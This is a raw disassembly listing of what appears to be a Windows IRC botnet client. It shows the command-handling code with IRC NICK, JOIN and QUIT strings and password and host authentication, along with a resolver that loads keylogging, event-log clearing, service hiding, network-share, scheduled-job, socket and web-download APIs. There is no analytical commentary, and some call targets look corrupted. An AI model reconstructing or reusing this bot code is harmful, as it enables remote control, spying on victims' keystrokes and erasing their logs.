loc_4094B2: ; CODE XREF: sub_401ACD+79D9j push offset unk_429740 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_401ACD+3E49j ; sub_401ACD+3E5Ej mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_429718 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj ; sub_401ACD+3E34j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B48C push eax call sub_41B886 add esp, 0Ch jmp loc_408994 ; --------------------------------------------------------------------------- loc_409527: ; CODE XREF: sub_401ACD+3DF5j ; sub_401ACD+3E0Aj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C pop ecx pop ecx push 1F4h nop call near ptr 2670F10h push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call dword_4CB03C push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEF4[eax] nop call near ptr 269064Ah push esi call sub_41B779 imul eax, 234h push esi mov dword_43DEF4[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43DCE0[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj ; sub_401ACD+3DE0j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409641 call sub_40B2BF cmp eax, ebx jle short loc_4095FC push eax push offset unk_4296EC jmp loc_408CDB ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_401ACD+7B22j push offset unk_4296C4 loc_409601: ; CODE XREF: sub_401ACD+24F9j ; sub_401ACD+2518j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_40960F: ; CODE XREF: sub_401ACD+721Dj cmp [ebp+var_8], ebx jnz short loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409628: ; CODE XREF: sub_401ACD+6DB4j call sub_409A72 add esp, 14h loc_409630: ; CODE XREF: sub_401ACD+26F6j ; sub_401ACD+2721j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_40207D ; --------------------------------------------------------------------------- loc_409641: ; CODE XREF: sub_401ACD+7B19j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965D: ; CODE XREF: sub_401ACD+7C01j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B231 pop ecx pop ecx test eax, eax push esi jz short loc_409684 push offset unk_4296A0 jmp short loc_409689 ; --------------------------------------------------------------------------- loc_409684: ; CODE XREF: sub_401ACD+7BAEj push offset unk_429674 loc_409689: ; CODE XREF: sub_401ACD+7BB5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096B9 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj lea eax, [ebp+var_2C4] push eax call sub_4151AC add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965D jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j ; sub_401ACD+3DB6j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset dword_429DE0 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset dword_429658 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401ACD+3D77j ; sub_401ACD+3D8Cj push [ebp+arg_10] push offset dword_429D44 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429634 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409731: ; CODE XREF: sub_401ACD+3D4Dj ; sub_401ACD+3D62j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_10] push offset unk_429610 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409758: ; CODE XREF: sub_401ACD+3D23j ; sub_401ACD+3D38j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_4295EC jmp loc_40984D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_401ACD+3163j ; sub_401ACD+3178j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_4295C8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B2: ; CODE XREF: sub_401ACD+7D33j push eax nop call near ptr 2670F10h loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: sub_401ACD+3139j ; sub_401ACD+314Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_4295A0 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B2 ; --------------------------------------------------------------------------- loc_409802: ; CODE XREF: sub_401ACD+EC8j ; sub_401ACD+EDDj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08D add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_42957C loc_40984D: ; CODE XREF: sub_401ACD+70B4j ; sub_401ACD+778Aj ... call sub_415220 pop ecx loc_409853: ; CODE XREF: sub_401ACD+6CB9j pop ecx loc_409854: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985C: ; CODE XREF: sub_401ACD+AB5j ; sub_401ACD+AC8j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42CA5C ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CAE5C push ebx inc esi call sub_41C0F4 push offset asc_429578 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294F8 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj mov [ebp+arg_24], offset off_429160 loc_409902: ; CODE XREF: sub_401ACD+7E51j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_409962 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_409902 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294A4 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_401ACD+7E44j mov edi, [ebp+arg_18] xor esi, esi loc_409967: ; CODE XREF: sub_401ACD+7EC4j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409987 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409998 loc_409987: ; CODE XREF: sub_401ACD+7EA5j inc esi add edi, 80h cmp esi, 3 jl short loc_409967 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409998: ; CODE XREF: sub_401ACD+7EB8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099CF push ebx push [ebp+var_4] push offset unk_429484 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j lea eax, [ebp+var_C4] push eax push offset unk_429464 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E0: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h mov dword_4CAE54, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2C proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFF4 leave retn sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A72 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Dp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8D mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8D: ; CODE XREF: sub_409A72+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFF4 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B10 push 7D0h nop call near ptr 2670F10h locret_409B10: ; CODE XREF: sub_409A72+91j leave retn sub_409A72 endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C32 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB050, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CAFC4, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CAFA8, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CAEB8, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CAE64, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CAE94, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CAF0C, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CB004, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB060, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CAEC4, eax call esi cmp dword_4CB050, ebx mov dword_4CAEAC, eax jz short loc_409C10 cmp dword_4CAFC4, ebx jz short loc_409C10 cmp dword_4CAFA8, ebx jz short loc_409C10 cmp dword_4CAEB8, ebx jz short loc_409C10 cmp dword_4CAE94, ebx jz short loc_409C10 cmp dword_4CAF0C, ebx jz short loc_409C10 cmp dword_4CB004, ebx jz short loc_409C10 cmp dword_4CB060, ebx jz short loc_409C10 cmp dword_4CAEC4, ebx jz short loc_409C10 cmp eax, ebx jnz short loc_409C1A loc_409C10: ; CODE XREF: sub_409B12+B8j ; sub_409B12+C0j ... mov dword_4CB064, 1 loc_409C1A: ; CODE XREF: sub_409B12+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CAFDC, eax jz short loc_409C47 push 1 push ebx call eax jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C32: ; CODE XREF: sub_409B12+1Dj nop call near ptr 26807C8h mov dword_4CB068, eax mov dword_4CB064, 1 loc_409C47: ; CODE XREF: sub_409B12+117j ; sub_409B12+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26A0D09h mov edi, eax cmp edi, ebx jz loc_409D5C push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CB000, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CAFB0, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CAF44, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB054, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CAF74, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CAF94, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CAFF8, eax call esi cmp dword_4CB000, ebx mov dword_4CAEE4, eax jz short loc_409D00 cmp dword_4CAFB0, ebx jz short loc_409D00 cmp dword_4CAF44, ebx jz short loc_409D00 cmp dword_4CB054, ebx jz short loc_409D00 cmp dword_4CAF74, ebx jz short loc_409D00 cmp dword_4CAF94, ebx jz short loc_409D00 cmp dword_4CAFF8, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A loc_409D00: ; CODE XREF: sub_409B12+1B8j ; sub_409B12+1C0j ... mov dword_4CB06C, 1 loc_409D0A: ; CODE XREF: sub_409B12+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CAF70, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CAE78, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CAF40, eax call esi cmp dword_4CAF70, ebx mov dword_4CAF28, eax jz short loc_409D67 cmp dword_4CAE78, ebx jz short loc_409D67 cmp dword_4CAF40, ebx jz short loc_409D67 cmp eax, ebx jnz short loc_409D71 jmp short loc_409D67 ; --------------------------------------------------------------------------- loc_409D5C: ; CODE XREF: sub_409B12+144j nop call near ptr 26807C8h mov dword_4CB070, eax loc_409D67: ; CODE XREF: sub_409B12+232j ; sub_409B12+23Aj ... mov dword_4CB06C, 1 loc_409D71: ; CODE XREF: sub_409B12+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2A push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CB014, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CAF58, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CAFC8, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CAEA4, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CAF08, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CAF80, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CAF24, eax call esi cmp dword_4CB014, ebx mov dword_4CAF34, eax jz short loc_409E1A cmp dword_4CAF58, ebx jz short loc_409E1A cmp dword_4CAFC8, ebx jz short loc_409E1A cmp dword_4CAEA4, ebx jz short loc_409E1A cmp dword_4CAF08, ebx jz short loc_409E1A cmp dword_4CAF80, ebx jnz short loc_409E24 loc_409E1A: ; CODE XREF: sub_409B12+2DEj ; sub_409B12+2E6j ... mov dword_4CB074, 1 loc_409E24: ; CODE XREF: sub_409B12+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CAF88, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CAF60, eax call esi cmp dword_4CAF88, ebx mov dword_4CB010, eax jz short loc_409E5F cmp dword_4CAF60, ebx jz short loc_409E5F cmp eax, ebx jnz short loc_409E69 loc_409E5F: ; CODE XREF: sub_409B12+33Fj ; sub_409B12+347j mov dword_4CB074, 1 loc_409E69: ; CODE XREF: sub_409B12+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CAF98, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CAE80, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CAE88, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CAEEC, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CAEF0, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CAE9C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CAF64, eax call esi cmp dword_4CAF98, ebx mov dword_4CAE8C, eax jz short loc_409F0D cmp dword_4CAE80, ebx jz short loc_409F0D cmp dword_4CAE88, ebx jz short loc_409F0D cmp dword_4CAEEC, ebx jz short loc_409F0D cmp dword_4CAEF0, ebx jz short loc_409F0D cmp dword_4CAE9C, ebx jz short loc_409F0D cmp dword_4CAF64, ebx jz short loc_409F0D cmp eax, ebx jnz short loc_409F17 loc_409F0D: ; CODE XREF: sub_409B12+3C5j ; sub_409B12+3CDj ... mov dword_4CB074, 1 loc_409F17: ; CODE XREF: sub_409B12+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CAE84, eax jnz short loc_409F3F jmp short loc_409F35 ; --------------------------------------------------------------------------- loc_409F2A: ; CODE XREF: sub_409B12+26Aj nop call near ptr 26807C8h mov dword_4CB078, eax loc_409F35: ; CODE XREF: sub_409B12+416j mov dword_4CB074, 1 loc_409F3F: ; CODE XREF: sub_409B12+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00B push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CAF90, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CAFE8, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CAFF0, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CAFAC, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CAEC8, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CAE74, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CAFEC, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CAE60, eax call esi cmp dword_4CAF90, ebx mov dword_4CAF00, eax jz short loc_40A016 cmp dword_4CAFE8, ebx jz short loc_40A016 cmp dword_4CAFF0, ebx jz short loc_40A016 cmp dword_4CAFAC, ebx jz short loc_40A016 cmp dword_4CAEC8, ebx jz short loc_40A016 cmp dword_4CAE74, ebx jz short loc_40A016 cmp dword_4CAFEC, ebx jz short loc_40A016 cmp dword_4CAE60, ebx jz short loc_40A016 cmp eax, ebx jnz short loc_40A020 jmp short loc_40A016 ; --------------------------------------------------------------------------- loc_40A00B: ; CODE XREF: sub_409B12+438j nop call near ptr 26807C8h mov dword_4CB080, eax loc_40A016: ; CODE XREF: sub_409B12+4B9j ; sub_409B12+4C1j ... mov dword_4CB07C, 1 loc_40A020: ; CODE XREF: sub_409B12+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DC push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CAF14, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB048, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CAEB4, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CAE90, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CAF50, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CAF38, eax call esi push offset aSocket ; "socket" push edi mov dword_4CAEFC, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CB024, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB040, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CAF4C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB030, eax call esi push offset aHtons ; "htons" push edi mov dword_4CAFE4, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CAFA4, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CAFA0, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CAED4, eax call esi push offset aSend ; "send" push edi mov dword_4CAECC, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CAFF4, eax call esi push offset aRecv ; "recv" push edi mov dword_4CB008, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CAFBC, eax call esi mov dword_4CAF7C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CAFD0, eax call esi push offset aListen ; "listen" push edi mov dword_4CAF8C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CAFCC, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB038, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CAF84, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CAF48, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CAFB8, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CB028, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CAF5C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CAEF8, eax call esi cmp dword_4CAF14, ebx mov dword_4CB03C, eax jz loc_40A2E7 cmp dword_4CB048, ebx jz loc_40A2E7 cmp dword_4CAEB4, ebx jz loc_40A2E7 cmp dword_4CAF50, ebx jz loc_40A2E7 cmp dword_4CAF38, ebx jz loc_40A2E7 cmp dword_4CAEFC, ebx jz loc_40A2E7 cmp dword_4CB024, ebx jz loc_40A2E7 cmp dword_4CB040, ebx jz loc_40A2E7 cmp dword_4CAF4C, ebx jz loc_40A2E7 cmp dword_4CB030, ebx jz loc_40A2E7 cmp dword_4CAFE4, ebx jz loc_40A2E7 cmp dword_4CAFA4, ebx jz loc_40A2E7 cmp dword_4CAFA0, ebx jz loc_40A2E7 cmp dword_4CAED4, ebx jz short loc_40A2E7 cmp dword_4CAFF4, ebx jz short loc_40A2E7 cmp dword_4CB008, ebx jz short loc_40A2E7 cmp dword_4CAFBC, ebx jz short loc_40A2E7 cmp dword_4CAF7C, ebx jz short loc_40A2E7 cmp dword_4CAFD0, ebx jz short loc_40A2E7 cmp dword_4CAF8C, ebx jz short loc_40A2E7 cmp dword_4CAFCC, ebx jz short loc_40A2E7 cmp dword_4CB038, ebx jz short loc_40A2E7 cmp dword_4CAF84, ebx jz short loc_40A2E7 cmp dword_4CAF48, ebx jz short loc_40A2E7 cmp dword_4CAFB8, ebx jz short loc_40A2E7 cmp dword_4CB028, ebx jz short loc_40A2E7 cmp dword_4CAF5C, ebx jz short loc_40A2E7 cmp eax, ebx jnz short loc_40A2F1 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DC: ; CODE XREF: sub_409B12+51Fj nop call near ptr 26807C8h mov dword_4CB088, eax loc_40A2E7: ; CODE XREF: sub_409B12+6BEj ; sub_409B12+6CAj ... mov dword_4CB084, 1 loc_40A2F1: ; CODE XREF: sub_409B12+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F6 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CAEE0, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CAE68, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CAF6C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CAF18, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CAF78, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CAF3C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CAEA8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CAEA0, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CAEB0, eax call esi cmp dword_4CAEE0, ebx mov ecx, dword_4CAF3C mov dword_4CAFD8, eax jz short loc_40A3D2 cmp dword_4CAE68, ebx jz short loc_40A3D2 cmp dword_4CAF6C, ebx jz short loc_40A3D2 cmp dword_4CAF18, ebx jz short loc_40A3D2 cmp dword_4CAF78, ebx jz short loc_40A3D2 cmp ecx, ebx jz short loc_40A3D2 cmp dword_4CAEA8, ebx jz short loc_40A3D2 cmp dword_4CAEA0, ebx jz short loc_40A3D2 cmp dword_4CAEB0, ebx jz short loc_40A3D2 cmp eax, ebx jnz short loc_40A3DC loc_40A3D2: ; CODE XREF: sub_409B12+87Ej ; sub_409B12+886j ... mov dword_4CB08C, 1 loc_40A3DC: ; CODE XREF: sub_409B12+8BEj cmp ecx, ebx jz short loc_40A411 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CAF54, eax jnz short loc_40A411 jmp short loc_40A40B ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_409B12+7EAj nop call near ptr 26807C8h mov dword_4CB090, eax mov dword_4CB08C, 1 loc_40A40B: ; CODE XREF: sub_409B12+8E2j mov dword_4CAF54, ebx loc_40A411: ; CODE XREF: sub_409B12+8CCj ; sub_409B12+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45B push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CAF2C, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB05C, eax call esi cmp dword_4CAF2C, ebx mov dword_4CAEBC, eax jz short loc_40A466 cmp dword_4CB05C, ebx jz short loc_40A466 cmp eax, ebx jnz short loc_40A470 jmp short loc_40A466 ; --------------------------------------------------------------------------- loc_40A45B: ; CODE XREF: sub_409B12+90Aj call near ptr 26807C8h nop mov dword_4CB098, eax loc_40A466: ; CODE XREF: sub_409B12+939j ; sub_409B12+941j ... mov dword_4CB094, 1 loc_40A470: ; CODE XREF: sub_409B12+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A577 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CAE98, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CAE70, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CAEE8, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CAF1C, eax 